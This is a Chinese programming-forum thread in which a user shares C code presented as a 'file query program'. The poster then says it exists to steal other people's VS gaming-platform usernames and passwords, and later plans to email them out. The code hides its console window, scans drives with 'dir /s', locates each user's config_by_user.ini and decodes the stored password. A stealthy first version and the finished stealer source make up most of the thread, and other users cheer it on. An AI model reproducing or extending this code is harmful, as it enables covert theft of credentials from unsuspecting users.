| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 622 人关注过本帖
标题:一个文件查询程序
只看楼主 加入收藏
zhujianiu
Rank: 4
等 级:业余侠客
帖 子:126
专家分:244
注 册:2010-5-14
结帖率:0
收藏
已结贴  问题点数:20 回复次数:5 
一个文件查询程序
给新手分享!
希望有高手提供更好的思路和方法!
代码如下!#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include <windows.h>
char *b = "VS\\users";
int main(int argc,char *argv[])
{
    ShowWindow(FindWindow("ConsoleWindowClass",argv[0]),0);
    int doset(char *a);//确定是否含有目标文件。
    char buff[256],buf;
    int i = 0,j[2] , k = 0 , l = 0, l1 = 0,buf1;//用做记录
    FILE *p;
    char *cmd[4] = {
    "cd \\ & dir /s D: > C:\\windows\\system\\sig",
    "cd \\ & dir /s E: > C:\\windows\\system\\sig",
    "cd \\ & dir /s F: > C:\\windows\\system\\sig"};
    for(buf1 = 0 ; buf1 < 4; buf1++)
    {
        system(cmd[buf1]);
        if (( p = fopen("C:\\windows\\system\\sig","rb") ) != NULL)
        {
            while(!feof(p))
            {
                ++ i;
                fread(&buf,1,1,p);
                if ( buf == '\n')
                {
                    if (k >= 2)
                    {
                        k = 0;
                    }
                     j[k]  =  i;
                     ++ k;            
                }
                if (l == 1)
                {
                    buff[l1] = buf;
                    ++ l1;
                    if(buf == '\n')
                    {
                        l = 0;
                        l1 = 0;
                        if(doset(buff) == 1)
                        {   
                            printf("发现目标文件大小为%d:\n",strlen(buff));
                            for( int p1 = 1; p1 < strlen(buff); p1++){
                                if(buff[p1] == 32 && p1 != 0)
                                     break;
                                printf("%c",buff[p1]);   
                            }
                            system("md ok");
                        }
                        else{
                                printf("继续寻找");
                        }
                    }
                }
               
                    if(j[0] - j[1] == 2 || j[0] - j[1] == -2)
                    {
                        l = 1;
                        k = 0;
                    }
            }

        }
        fclose(p);
    }
    return 0;
}
int doset(char *a)
{
    int i,j = 0,k, k1 = 0;
    if(strlen(a) >= strlen(b))
    {
        for(i = 0; i < strlen(b); i++)
        {
            for( k = k1; k < strlen(a); k ++)
            if(*(b+i) == a[k]){
            ++j;
            k1 = k;
            break;
            }
        }
        if(j == strlen(b))
        return 1;//找到目标文件
        else
        return 0;//没找到
    }
    else
        return 0;
}
        
   
搜索更多相关主题的帖子: 文件 查询 
2010-05-22 00:27
zhujianiu
Rank: 4
等 级:业余侠客
帖 子:126
专家分:244
注 册:2010-5-14
收藏
得分:0 
。。。 没什么人回帖? 哎。。。。
写这个的目的是为了得到vs账号跟密码,现在写的只是查询是否存在vs这个文件,密码跟账号的获取,明天在继续!
,可以的话!在去写个可以自动发信箱的! 就可以得到别人的vs账户跟密码! 说不定就是vip!
嘿嘿!
不晓得这算不算黑客编程?
2010-05-22 00:56
xueyuhanhai
Rank: 4
等 级:业余侠客
帖 子:90
专家分:238
注 册:2010-4-5
收藏
得分:10 
分享了,楼主不错的对文件方面的操作代码,希望楼主继续写下去。顶了。
2010-05-22 19:12
mysky2001
Rank: 2
等 级:论坛游民
帖 子:10
专家分:18
注 册:2010-5-22
收藏
得分:10 
顶顶
2010-05-22 22:03
zhujianiu
Rank: 4
等 级:业余侠客
帖 子:126
专家分:244
注 册:2010-5-14
收藏
得分:0 
搞了我俩天 今天终于把vs获取弄出来咯!
vs密码显示器.rar (65.06 KB)

现在这个只限于本地机上的vs密码账号获取!
网络部分还没写!
哎。。。。累死我了!
2010-05-22 23:46
zhujianiu
Rank: 4
等 级:业余侠客
帖 子:126
专家分:244
注 册:2010-5-14
收藏
得分:0 
代码给你们分享下!
希望高手给点意见!与帮助!
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include <windows.h>
char *b = "VS\\users\\";//目标目录
char *b1 = "\\config_by_user.ini";
char arry[10][256];//目标文件
int l2 = 0,sot[10][1];//记录文件数目
void gold(char *cmd[],char buff[]);//查找是否存在vs\user文件目录。
int doset(char *a);//
void sovlpass(int i,char p[]);//得到密码;
int main(int argc,char *argv[])
{
//    ShowWindow(FindWindow("ConsoleWindowClass",argv[0]),0);
    char buff[256],buff1[100];
    int buf1;
    char *cmd[4] = {"cd \\ & dir /s : > C:\\windows\\system\\sig",
    "cd \\ & dir /s D: > C:\\windows\\system\\sig",
    "cd \\ & dir /s E: > C:\\windows\\system\\sig",
    "cd \\ & dir /s F: > C:\\windows\\system\\sig"};
    for(buf1 = 0 ; buf1 < 4; buf1++)
    {
        system(cmd[buf1]);
        gold(cmd,buff);   
    }
    printf("获得的账号数量为 %d\n",l2/2);
    for(int i = 0; i < l2/2; i++ )
    sovlpass(i,buff1);
    system("pause.");
    return 0;
}
void gold(char *cmd[],char buff[])
{
    int i = 0,j[2] , k = 0 , l = 0, l1 = 0, p1;
    char buf;
    FILE *p;
    if (( p = fopen("C:\\windows\\system\\sig","rb") ) != NULL)
        {
            while(!feof(p))
            {
                ++ i;
                fread(&buf,1,1,p);
                if ( buf == '\n')
                {
                    if (k >= 2)
                    {
                        k = 0;
                    }
                     j[k]  =  i;
                     ++ k;            
                }
                if (l == 1)
                {
                    buff[l1] = buf;
                    ++ l1;
                    if(buf == '\n')
                    {
                        l = 0;
                        l1 = 0;
                        if(doset(buff) == 1)
                        {   
                        //    printf("%s\n",buff);
                        //    printf("发现目标文件大小为%d:\n",strlen(buff));
                            for( p1 = 1; p1 < strlen(buff); p1++){
                                if(buff[p1] == 32 && p1 != 0)
                                     break;
                                arry[l2][p1-1] = buff[p1];
                    //            printf("%c",arry[l2][p1-1]);   
                            }
                            sot[l2][0] = p1-1;   
                        //    printf("p1-1 = %d\n",p1-1);
                            ++l2;
                        }
                    }
                }
               
                    if(j[0] - j[1] == 2 || j[0] - j[1] == -2)
                    {
                        l = 1;
                        k = 0;
                    }
            }

        }
        fclose(p);
}
int doset(char *a)
{
    int i,j = 0,k, k1 = 0;
    if(strlen(a) >= strlen(b))
    {
        for(i = 0; i < strlen(b); i++)
        {
            for( k = k1; k < strlen(a); k ++)
            if(*(b+i) == a[k]&&(k - k1 ==1 || k1 == 0)){
            ++j;
            k1 = k;
            break;
            }
        }
        if(j == strlen(b))
        {
            return 1;//找到目标文件
        }
        else
            return 0;//没找到
    }
    else
        return 0;
}



void sovlpass(int i,char p[]){
   
    FILE *file,*file1;
    int j,i1 = 0,l=0,k = 0, mm[16],sum = 0;
    char op,c[100],c1[20];
    printf("账号为:");        
    for(j = 0; j < sot[i][0]; j++ )
        p[j] = arry[i][j];
    for(j = sot[i][0]; j > 0; j--)
    {
        if(p[j]=='\\')
            break;
        c1[sum] = p[j];
        sum ++;
    }
    for(sum--;sum > 0 ;sum--)
    printf("%c",c1[sum]);
    printf("\n");            
    for(j = 0; j < strlen(b1);j++)
        p[sot[i][0]+j] = *(b1+j);
    p[sot[i][0]+j] = '\0';
//    printf("%s\n",p);
    if((file = fopen(p,"rb"))!= NULL)
    {
        while(!feof(file))
        {
            fread(&op,1,1,file);
            if(op == '\n')
                ++ i1;
            if(i1 == 5)
            {
                c[l] = op;
        //        printf("%c",c[l]);
                l++;
            }
            if(i1 == 6)
                break;
        }
   
        fclose(file);
    //    printf("ok\n");
    //    printf("l is %d\n",l);
    //    printf("%s\n,c is sizeof %d\n",c,strlen(c));
    }
    for(i = 15; i < l-15; i++)//16进制转换成10进制
    {
        
        switch(c[i]){
            case '0' : mm[k] = 0; ++k; break;
            case '1' : mm[k] = 1; ++k; break;
            case '2' : mm[k] = 2; ++k; break;
            case '3' : mm[k] = 3; ++k; break;
            case '4' : mm[k] = 4; ++k; break;
            case '5' : mm[k] = 5; ++k; break;
            case '6' : mm[k] = 6; ++k; break;
            case '7' : mm[k] = 7; ++k; break;
            case '8' : mm[k] = 8; ++k; break;
            case '9' : mm[k] = 9; ++k; break;
            case 'a' : mm[k] = 10; ++k; break;
            case 'b' : mm[k] = 11; ++k; break;
            case 'c' : mm[k] = 12; ++k; break;
            case 'd' : mm[k] = 13; ++k; break;
            case 'e' : mm[k] = 14; ++k; break;
            case 'f' : mm[k] = 15; ++k; break;
        }
        
    }
    if(i1==6){
        printf("密码为:");
        for(l = 0; l < 16; l++)
        {
            if(l%2 != 0){
                k = mm[l];
                 sum = i1+k-114;
                 printf("%c",sum);                  
            }
            else
            i1 = mm[l]*16;

        }
        }
printf("\n");
}

   
        
   
2010-05-22 23:48
快速回复:一个文件查询程序
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.025805 second(s), 10 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved